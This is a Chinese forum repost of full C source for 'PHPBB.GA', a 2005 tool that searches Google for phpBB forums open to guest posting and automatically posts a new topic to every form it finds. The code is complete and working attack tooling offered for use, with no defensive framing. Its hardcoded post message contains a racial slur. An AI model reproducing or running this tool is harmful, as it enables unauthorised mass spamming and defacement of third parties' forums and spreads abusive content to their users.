发新话题
打印

[转载]phpbb.google attack tool PHPBB.GA

[转载]phpbb.google attack tool PHPBB.GA

文章作者:Dr_aMado
复制内容到剪贴板
代码:
   //
   // PHPBB.GA
   // phpbb.google attack
   //
   // Create a new topic in all forums
   // with guest priveleges
   //
   // by Dr_aMado
   // release jan 19 05
   //
   // triviasecurity.net
   //

   #include <winsock2.h>
   #include <windows.h>
   #include <stdio.h>

   #define MAX_G_LINKS 24  // urls to fetch from each google query

   #pragma comment(lib, "ws2_32.lib")

   typedef struct g_Result
   {
     char *url;
     char *action;
   } g_Result;

   typedef struct sg_Results
   {
     g_Result urls[MAX_G_LINKS];
     int index;
     int start;
   } g_Results;

   bool addr_connect(PSOCKADDR_IN ss, SOCKET *socket);
   char *getAttVal(SOCKET s, char *b_1024);
   bool waitfor(SOCKET s, char c);
   void g_Spider(SOCKET s, g_Results *b);
   bool p_Spider(SOCKET s, char *a_512);
   bool a_getUrl(SOCKET s, g_Results *b);
   bool isTag(SOCKET s, char *h, bool with_attributes);
   char recvBlanks(SOCKET s);
   char *f_PostToForms(g_Result *r);
   char *remAmps(char *action);
   g_Results *SearchGoogle(char *searchq, g_Results *b);
   int forum_from_url(char *url);
   void p_newTopic(char *username, char *topic, char *message, int forum_id, char *action, char *host, char *useragent, char *referer);
   char *make_action(char *a_512, char *absolute, char *action);

   // action, host, useragent, referer, content-length, post_vars
   char HTTP_POST[] = "POST %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\nReferer: %s\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %d\r\n\r\n%s";
   // username, subject, message, f_id
   char HTTP_POST_VARS[] = "username=%s&subject=%s&addbbcode18=orange&addbbcode20=12&helpbox=Close+all+open+bbCode+tags&message=%s&mode=newtopic&f=%d&post=Submit";

   char google[] = "[url]www.google.com[/url]";
   char google_get[] = "/search?q=%s&start=%d";
   char search[] = "%22post+a+new+topic+%22+%22message+body%22+%2Bphpbb";
   char agent[] = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)";
   char get_httpv_host_ua[] = "GET %s HTTP/1.%d\r\nHost: %s\r\nUser-Agent: %s\r\nAccept: */*\r\n\r\n";
   char match[] = "<!--m-->";    // **not necessary
   // Message should probably be url-encoded
   char Mado_Msg[] = "%0D%0A%5Bb%5Dgreetings+to+all+my+niggas+at+triviasecurity%5B%2Fb%5D%0D%0AIM+RICK+JAMES%21%21%0D%0A%0D%0A%2DaMado";

   g_Results google_results;

   int main()
   {
     //

     srand(GetTickCount());

     WSADATA wd;
     WSAStartup(MAKEWORD(1,0), &wd);
     //exit(0);
     // google displays < 1000 matches ..right?
     // *.start *10
     google_results.start = rand()%100;
     while(google_results.start < 100)
     {
       if(SearchGoogle(search, &google_results) != NULL)
       for(int i=0;i<google_results.index;i++)
       {
         f_PostToForms(&google_results.urls[i]);
         free(google_results.urls[i].url);
         free(google_results.urls[i].action);
       }
       google_results.start++;
     }
     WSACleanup();
     return 1;
   }

   char recvBlanks(SOCKET s)
   {
     char t = &#39; &#39;;
     while(isspace(t)) recv(s, &t, 1, 0);
     return t;
   }


   bool hasAttribute(SOCKET s, char *att)
   {
     char t = recvBlanks(s);
     char a[128];
     memset(a, 0, 128);
     int x = 0;
     while(t != &#39;>&#39; && x < 127)
     {
       if(t == &#39;=&#39;)  // end of attribute name
       {
         a[x] = &#39;\0&#39;;
         if(strcmp(a, att) ==0)
         {
           return true;
         }else{  // not the attribute we&#39;re looking for, find next attribute name
           memset(a, 0, 128);
           x = 0;
         }
       }
       a[x] = toupper(t);
       t = recvBlanks(s);
       x++;
     }
     return false;
   }

   char *getAttVal(SOCKET s, char *b_1024)
   {
     char t = recvBlanks(s);
     int x = 0;
     char delim;
     if(t == &#39;"&#39; || t == &#39;\&#39;&#39;)
     {
       delim = t;
       while(x < 1023)
       {
         recv(s, &t, 1, 0);
         if(t != delim)
         {
           b_1024[x] = t;
           x++;
         }else
         {
           // we&#39;re done copying, receive till end of tag
           while(recvBlanks(s) != &#39;>&#39;);
           break;
         }
       }
     }else
     {
       for(x = 0; x < 1023 && !isspace(t) && t != &#39;>&#39;; x++)
       {
         b_1024[x] = t;
         recv(s, &t, 1, 0);
       }
       if(t != &#39;>&#39;)
       {
         // recv till end of tag
         while(recvBlanks(s) != &#39;>&#39;);
       }
     }
     return b_1024;
   }


   bool isTag(SOCKET s, char *h, bool with_attributes)
   {
     char w[32];
     memset(w, 0, 32);
     char t = recvBlanks(s);  //append --------.
     for(int c=0;c<20 && !isspace(t); c++) // |
     {                  //  |
       w[c] = (char)toupper(t);  //<-here-&#39;
       recv(s, &t, 1, 0);
       if(t == &#39;>&#39;) break;
     }
     // if t == &#39;>&#39; that means the tag does not have attributes
     bool has_attributes = with_attributes ? (t != &#39;>&#39;) : (t == &#39;>&#39;);
     return (has_attributes && strcmp(w, h) == 0);
   }

   void g_Spider(SOCKET s, g_Results *b)
   {
     char url[1024];
     memset(url, 0, 1024);
     if(isTag(s, "A", true))
     {
       if(hasAttribute(s, "HREF"))
       {
         if(b->index < MAX_G_LINKS)
         {
           int len = strlen(getAttVal(s, url));
           b->urls[b->index].url = (char*)malloc(len+1);
           memset(b->urls[b->index].url, 0, len+1);
           strncpy(b->urls[b->index].url, url, len);
           b->index++;
         }
       }
     }

     // t = space
   }

   bool addr_connect(PSOCKADDR_IN ss, SOCKET *socket_a, char *hostname)
   {
     struct hostent *sHost = gethostbyname(hostname);
     if(sHost == NULL) return false;
     ss->sin_family = AF_INET;
     ss->sin_port = htons(80);
     ss->sin_addr.s_addr = *((u_long*)sHost->h_addr_list[0]);
     *socket_a = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
     return (connect(*socket_a, (SOCKADDR*)ss, sizeof(SOCKADDR_IN)) == 0);
   }

   bool p_Spider(SOCKET s, char **a)
   {
     char p[1024];
     memset(p, 0, 1024);
     if(isTag(s, "FORM", true))
     {
       if(hasAttribute(s, "ACTION"))
       {
         int len = strlen(getAttVal(s, p));
         *a = (char*)malloc(len+1);
         memset(*a, 0, len+1);
         strncpy(*a, p, len);
         return true;
       }
     }
     return false;
   }

   char *f_PostToForms(g_Result *r)
   {
     // http:// len(7)
     SOCKET s;
     SOCKADDR_IN a;
     int i;
     char *get = r->url+7;
     char hostname[64];
     char req[512];
     memset(hostname, 0, 64);
     for(i=0;get[i] != &#39;/&#39; && i<63;i++) hostname[i] = get[i];
     get += i;
     
     if(strstr(hostname, google+4) != NULL) return NULL;
     if(!addr_connect(&a, &s, hostname)) return NULL;

     sprintf(req, get_httpv_host_ua, get, 0, hostname, agent);
     send(s, req, strlen(req), 0);

     while(recv(s, req, 1, 0) > 0)
     {
       if(req[0] == &#39;<&#39;)
       {
         if(p_Spider(s, &r->action))
         {
           //POST HERE :POST TO EVERY FORM IN PAGE
           memset(req, 0, 512);
           p_newTopic("Dr_aMado", "GPHPBB_Poster", Mado_Msg, forum_from_url(r->url), make_action(req, get, remAmps(r->action)), hostname, agent, r->url);
         }
       }
     }
     closesocket(s);
     return r->action;
   }

   char *make_action(char *a_512, char *absolute, char *action)
   {
     int len = strlen(absolute);
     char r;
     for(int a=len;a>=0;a--)
     {
       if(absolute[a] == &#39;/&#39;)
       {
         r = absolute[a+1];
         absolute[a+1] = &#39;\0&#39;;
         strncpy(a_512, absolute, 511);
         strncat(a_512, action, 511-strlen(absolute));
         absolute[a+1] = r;
         break;
       }
     }
     return a_512;
   }

   g_Results *SearchGoogle(char *searchq, g_Results *b)
   {
     char m[1024];
     char gsearch[128];
     b->index = 0;
     SOCKADDR_IN a;
     SOCKET s;
     if(!addr_connect(&a, &s, google)) return NULL;  // 0,0 :start,http/1.x
     sprintf(gsearch, google_get, searchq, b->start*10);
     sprintf(m, get_httpv_host_ua, gsearch, 0, google, agent);
     send(s, m, strlen(m), 0);
     while(recv(s, m, 1, 0) > 0)
     {
       if(m[0] == &#39;<&#39;) g_Spider(s, b);
     }
     closesocket(s);
     return b;
   }

   char *remAmps(char *action)
   {  // for form actions containing "&"
     char *p;
     while((p = strstr(action, "&")) != NULL) strcpy(p+1, p+5);
     return action;
   }

   int forum_from_url(char *url)
   {
     char *vars = strstr(url, "?");
     char *p;
     char f_id[4];
     memset(f_id, 0, 4);
     if(vars == NULL) return 1;
     vars = strstr(vars, "f=");
     if(vars == NULL) return 1;
     vars +=2;
     if((p = strchr(vars, &#39;&&#39;)) == NULL)
     {
       return atoi(vars);
     }else{
       p[0] = &#39;\0&#39;;
       strncpy(f_id, vars, 3);
       p[0] = &#39;&&#39;;
       return atoi(f_id);
     }
   }

   void p_newTopic(char *username, char *topic, char *message, int forum_id, char *action, char *host, char *useragent, char *referer)
   {
     char POST_VARS[512];
     char POST[1024];
     memset(POST_VARS, 0, 512);
     memset(POST, 0, 1024);
     sprintf(POST_VARS, HTTP_POST_VARS, username, topic, message, forum_id);
     sprintf(POST, HTTP_POST, action, host, useragent, referer, strlen(POST_VARS), POST_VARS);
     //printf("%s\n", POST);
     SOCKET a;
     SOCKADDR_IN b;
     if(!addr_connect(&b, &a, host)) return;
     send(a, POST, strlen(POST), 0);
     closesocket(a);
     printf("Posted to: [url]http://%s%s[/url]\n\tReferer:%s\n\tForum_id:%i\n\n", host, action, referer, forum_id);
     return;
   }
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题